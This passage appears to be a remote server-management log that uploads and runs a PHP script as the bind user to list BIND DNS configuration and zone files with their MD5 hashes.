					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:38:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp974631; rm /tmp/pkp974631'

2026-04-30 16:38:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:38:41: Establishing a connection
2026-04-30 16:38:41: 

PUT: /tmp/pkp946169

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:38:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp946169; rm /tmp/pkp946169'

2026-04-30 16:38:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
